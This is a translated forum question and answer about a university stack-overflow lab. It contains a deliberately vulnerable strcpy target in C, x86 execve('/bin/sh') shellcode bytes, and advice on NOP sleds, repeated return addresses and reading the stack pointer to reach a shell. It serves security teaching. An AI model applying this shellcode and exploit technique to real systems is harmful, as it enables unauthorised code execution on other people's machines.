Programa de explotación de desbordamiento de búfer intencional

Question

Estoy tratando de resolver este problema para una de mis clases de ciencia ficción, he utilizado todos los recursos y todavía tengo problemas, si alguien pudiera proporcionar alguna idea, lo agradecería mucho.

Tengo este "objetivo" Necesito ejecutar un execve ("/ bin/sh") con el exploit overflow. En el desbordamiento de buf [128], al ejecutar el comando inseguro strcpy, aparece un puntero en el búfer en la ubicación donde el sistema espera encontrar la dirección de retorno.

target.c

int bar(char *arg, char *out) 
{ 
strcpy(out,arg); 
return 0; 
} 

int foo(char *argv[]) 
{ 
char buf[128]; 
bar(argv[1], buf); 
} 

int main(int argc, char *argv[]) 
{ 
if (argc != 2) 
{ 
    fprintf(stderr, "target: argc != 2"); 
    exit(EXIT_FAILURE); 
} 
foo(argv); 
return 0; 
} 

exploit.c

#include "shellcode.h" 

#define TARGET "/tmp/target1" 

int main(void) 
{ 
    char *args[3]; 
    char *env[1]; 

    args[0] = TARGET; args[1] = "hi there"; args[2] = NULL; 
    env[0] = NULL; 

    if (0 > execve(TARGET, args, env)) 
    fprintf(stderr, "execve failed.\n"); 

    return 0; 
} 

shellcode.h

static char shellcode[] = 
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" 
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" 
    "\x80\xe8\xdc\xff\xff\xff/bin/sh"; 

entiendo que necesito para llenar argv [1] con más de 128 bytes, el bytes sobre 128 es la dirección de retorno, que debe señalarse hacia el búfer para que ejecute/bin/sh dentro. ¿Eso es correcto hasta ahora? ¿Alguien puede dar el próximo paso?

Muchas gracias por cualquier ayuda.

Answer 1

Bueno, entonces quiere que el programa ejecute su shellcode. Ya está en forma de máquina, por lo que está listo para ser ejecutado por el sistema. Lo has almacenado en un buffer. Entonces, la pregunta sería "¿Cómo sabe el sistema para ejecutar mi código?" Más precisamente, "¿Cómo sabe el sistema dónde buscar el siguiente código para ser ejecutado?" La respuesta en este caso es la dirección de retorno de la que está hablando.

Básicamente, estás en el camino correcto. ¿Has intentado ejecutar el código? Una cosa que he notado al realizar este tipo de exploits es que no es una ciencia exacta. A veces, hay otras cosas en la memoria que no espera que estén allí, por lo que debe aumentar el número de bytes que agrega a su búfer para alinear correctamente la dirección de retorno con el lugar donde el sistema espera que esté.

No soy especialista en seguridad, pero puedo decirle algunas cosas que podrían ayudar. Una es que normalmente incluyo un 'NOP Sled', esencialmente una serie de bytes de 0x90 que no hacen otra cosa que ejecutar instrucciones 'NOP' en el procesador. Otro truco es repetir la dirección de devolución al final del búfer, de modo que si incluso uno de ellos sobrescribe la dirección de devolución en la pila, tendrá un retorno exitoso a donde desee.

Así, el búfer se verá así:

| NOP SLED | SHELLCODE | DIRECCIÓN DE DEVOLUCIÓN REPETIDA |

(Nota: Estos no son mis ideas, los conseguí de la piratería:. El arte de la explotación, por Jon Erickson Recomiendo este libro si usted está interesado en aprender más sobre esto).

para calcular la dirección, se puede usar algo similar a lo siguiente:

unsigned long sp(void) 
{ __asm__("movl %esp, %eax");} // returns the address of the stack pointer 

int main(int argc, char *argv[]) 
{ 
    int i, offset; 
    long esp, ret, *addr_ptr; 
    char* buffer; 

    offset = 0; 
    esp = sp(); 
    ret = esp - offset; 
} 

Ahora, ret llevará a cabo la dirección del remitente desea volver a, suponiendo que se puede asignar topes sea en el montón.